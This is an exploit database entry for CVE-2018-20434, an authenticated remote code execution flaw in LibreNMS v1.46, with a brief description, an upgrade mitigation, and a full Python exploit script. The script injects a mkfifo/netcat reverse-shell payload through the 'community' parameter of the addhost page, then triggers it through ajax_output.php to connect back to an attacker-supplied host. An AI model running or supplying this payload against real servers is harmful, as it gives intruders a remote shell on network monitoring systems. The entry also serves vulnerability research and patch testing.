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vendor:
LibreNMS
by:
Askar
9.8
CVSS
CRITICAL
Remote Code Execution
78
CWE
Product Name: LibreNMS
Affected Version From: v1.46
Affected Version To: v1.46
Patch Exists: YES
Related CWE: CVE-2018-20434
CPE: 2.3:a:librenms:librenms:1.46
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Ubuntu 18.04 / PHP 7.2.10
2018

LibreNMS v1.46 authenticated Remote Code Execution

LibreNMS is an open source network monitoring system. A vulnerability in LibreNMS v1.46 allows an authenticated user to execute arbitrary code on the server. This is due to the lack of input validation in the 'community' parameter of the 'addhost' page. An attacker can craft a malicious payload and inject it into the 'community' parameter to execute arbitrary code on the server.

Mitigation:

Upgrade to LibreNMS v1.47 or later.
Source

Exploit-DB raw data:

#!/usr/bin/python

'''
# Exploit Title: LibreNMS v1.46 authenticated Remote Code Execution
# Date: 24/12/2018
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2018-20434
# Vendor Homepage: https://www.librenms.org/
# Version: v1.46
# Tested on: Ubuntu 18.04 / PHP 7.2.10
'''

import requests
from urllib import urlencode
import sys

if len(sys.argv) != 5:
    print "[!] Usage : ./exploit.py http://www.example.com cookies rhost rport"
    sys.exit(0)

# target (user input)
target = sys.argv[1]

# cookies (user input)
raw_cookies = sys.argv[2]

# remote host to connect to
rhost = sys.argv[3]

# remote port to connect to
rport = sys.argv[4]

# hostname to use (change it if you want)
hostname = "dummydevice"

# payload to create reverse shell
payload = "'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f) #".format(rhost, rport)

# request headers
headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101"
    }

# request cookies
cookies = {}
for cookie in raw_cookies.split(";"):
    # print cookie
    c = cookie.split("=")
    cookies[c[0]] = c[1]


def create_new_device(url):
    raw_request = {
        "hostname": hostname,
        "snmp": "on",
        "sysName": "",
        "hardware": "",
        "os": "",
        "snmpver": "v2c",
        "os_id": "",
        "port": "",
        "transport": "udp",
        "port_assoc_mode": "ifIndex",
        "community": payload,
        "authlevel": "noAuthNoPriv",
        "authname": "",
        "authpass": "",
        "cryptopass": "",
        "authalgo": "MD5",
        "cryptoalgo": "AES",
        "force_add": "on",
        "Submit": ""
    }
    full_url = url + "/addhost/"
    request_body = urlencode(raw_request)

    # send the device creation request
    request = requests.post(
        full_url, data=request_body, cookies=cookies, headers=headers
    )
    text = request.text
    if "Device added" in text:
        print "[+] Device Created Sucssfully"
        return True
    else:
        print "[-] Cannot Create Device"
        return False


def request_exploit(url):
    params = {
        "id": "capture",
        "format": "text",
        "type": "snmpwalk",
        "hostname": hostname
        }

    # send the payload call
    request = requests.get(url + "/ajax_output.php",
        params=params,
        headers=headers,
        cookies=cookies
        )
    text = request.text
    if rhost in text:
        print "[+] Done, check your nc !"


if create_new_device(target):
    request_exploit(target)